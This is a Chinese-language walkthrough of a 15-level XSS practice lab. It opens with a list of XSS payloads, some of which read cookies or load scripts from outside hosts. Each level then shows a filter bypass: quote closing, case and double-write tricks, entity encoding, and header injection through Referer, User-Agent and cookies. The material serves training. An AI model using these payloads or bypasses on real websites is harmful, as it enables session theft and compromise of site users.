xss小游戏

XSS小靶场

<script>alert('hello,gaga!');</script> //经典语句,哈哈!

>"'><img src="javascript.:alert('XSS')">

>"'><script>alert('XSS')</script>

<table background='javascript.:alert(([code])'></table>

<object type=text/html data='javascript.:alert(([code]);'></object>

"+alert('XSS')+"

'><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>alert(vulnerable)</script>

<s&#99;ript>alert('XSS')</script>

<img src="javas&#99;ript:alert('XSS')">

%0a%0a<script>alert("Vulnerable")</script>.jsp

%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html

<script>alert('Vulnerable')</script>

a.jsp/<script>alert('Vulnerable')</script>

"><script>alert('Vulnerable')</script>

<IMG SRC="javascript.:alert('XSS');">

<IMG src="/javascript.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"('XSS')>

<IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>

<IMG SRC="jav&#x09;ascript.:alert('XSS');">

<IMG SRC="jav&#x0A;ascript.:alert('XSS');">

<IMG SRC="jav&#x0D;ascript.:alert('XSS');">

"<IMG src="/java"script.:alert("XSS")>";'>out

<IMG SRC=" javascript.:alert('XSS');">

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<BODY BACKGROUND="javascript.:alert('XSS')">

<BODY ONLOAD=alert('XSS')>

<IMG DYNSRC="javascript.:alert('XSS')">

<IMG LOWSRC="javascript.:alert('XSS')">

<BGSOUND SRC="javascript.:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">

<IMG SRC='vbscript.:msgbox("XSS")'>

<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">

<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>

<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>

<TABLE BACKGROUND="javascript.:alert('XSS')">

<DIV STYLE="background-image: url(javascript.:alert('XSS'))">

<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">

<DIV STYLE=" expression(alert('XSS'));">

<STYLE>@import'javasc
ipt:alert("XSS")';</STYLE>

<IMG STYLE='xss:expression(alert("XSS"))'>

第一关 无过滤

image-20210125162132220

image-20210125162109119

第二关 htmlspecialchars过滤双引号

image-20210125162205364

值设置为变量,并且用htmlspecialchars($str)过滤,htmlspecialchars介绍如下

image-20210125162340917

过滤了> < 可以使用onclick弹窗,闭合双引号

payload:

" onclick=alert('xss')//

image-20210125162644316

第三关 htmlspecialchars过滤单引号

和第二关差不多,先试一下第二关的payload

image-20210125163017648

失败

image-20210125163144830

尝试闭合单引号

' onclick=alert('xss')//

image-20210125163235237

第四关 htmlspecialchars过滤双引号

image-20210125163606682

在第2关的基础上,过滤了尖括号,但是直接在``标签中构造闭合双引号来构造事件来触发并用不到引号,所以第2关的payload依然适用

' onclick=alert('xss')//

image-20210125163750125

第五关 javascript:alert()使用 过滤on

image-20210125164614198

on是很多事件都包含的关键词,所以这里无法直接通过闭合引号在``标签中来触发弹窗了,这个可以闭合双引号和标签,然后通过javascript:alert('XSS')这种形式来触发弹窗,使用链接弹窗

"><a href=javascript:alert('XSS') //

image-20210125164538506

第六关 未过滤大小写strtolower()

image-20210125164959026

过滤挺多的,但是没有进行大小写过滤strtolower(),onclick,href都可以

" Onclick=alert('XSS') //
"><a Href=javascript:alert('XSS') //

image-20210125165227244

第七关 未过滤双写

image-20210125165326219

第六关的基础上过滤大小写,这里可以使用双写绕过

" oonnclick=alert('XSS') //
"><a hrehreff=javascscriptript:alert('XSS') //

image-20210125165439260

image-20210125165750278

第八关 HTML编码绕过

image-20210125170128141

这里的过滤规则很完善,基本上都过滤掉了可能触发弹窗的一些字符串。同时有2个输出,一个输出在了标签中,并且通过htmlspecialchars($str)函数实体化后输出来,这里基本上是凉凉了。看第2个输出,是在标签中,而且没有过滤,直接输出在了双引号"之间,当作字符串处理,利用当作字符串处理的特点,可以直接将我们的payload HTML使用HTML实体字符编码绕过,有因为直接输出在了href的属性里面,所以可以尝试javascript()这种形式来触发弹窗

javascrip&#x09;t:alert('XSS') //

image-20210125170227895

第九关 过滤http

image-20210125183542257

在第八关基础上,过滤http,绕过简单

strpos(): 查找 "php" 在字符串中第一次出现的位置,意思就是没有找到匹配的,就返回链接不合法,所以需要加一个http://

javascrip&#x09;t:alert('XSS') //http://

image-20210125184101533

第十关 覆盖元素属性

image-20210125184619735

image-20210125184239833

image-20210125184339403

可以看出这里keyword变量依然没戏,被HTML实体化输出了出来,所以重点放在t_sort变量上,只过滤了尖括号,然后就直接输出到了标签中,所以这里可以尝试直接在标签中闭合构造事件来弹窗,还得注意一点就是这里的标签使用了type="hidden"将输入框隐藏了起来,可以手动赋值type的值来覆盖掉先前的属性来达到显示文本框的目的。

http://127.0.0.1/xss/level10.php?t_link=&t_history=&t_sort=%22%20type=%22%22%20onclick=alert(%27XSS%27)%20//

image-20210125184848339

第十一关 http refer绕过

image-20210125185222398

str 和 str00无望,重点是str33,是$str11=$_SERVER['HTTP_REFERER'];得到的,可以使用http refer插入

image-20210125185903215

image-20210125185932471

Referer: " type="" onclick=alert('XSS') //

第十二关 user-agent绕过

image-20210125190300598

和上一关差不多,一样的操作

image-20210125190347894

image-20210125190429125

User-Agent: " type="" onclick=alert('XSS') //

image-20210125190503609

第十三关 cookie绕过

image-20210125190610814

一样的操作,插入cookie

image-20210125190705525

image-20210125190806266

cookie:user=lucy" type="" onclick=alert('XSS') //

image-20210125190902302

第十四关 ng-include

image-20210125191129981

学习ng-include:https://www.runoob.com/angularjs/ng-ng-include.html

ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。ng-include 属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下

http://127.0.0.1/xss/level14.php?src=%22127.0.0.1/xss/level1.php?name=%3Cimg%20src=x%20onerror=alert(%27xss%27)%3E%22

未能成功,不知道原因,后续再研究

第十五关 过滤空格

image-20210125192001993

可以使用如下代替空格

image-20210125192040926

level15.php?keyword=<img%0asrc=x%0aonerror=alert('XSS')>

image-20210125192116394

第一个xss靶场到此结束,记录一下,现在感觉学起来,有太多的知识模棱两可,需要静下心,慢慢来,比较快

大佬博客:https://www.sqlsec.com/2020/01/xss.html#toc-heading-52

原文地址:https://www.cnblogs.com/liyu8/p/14326990.html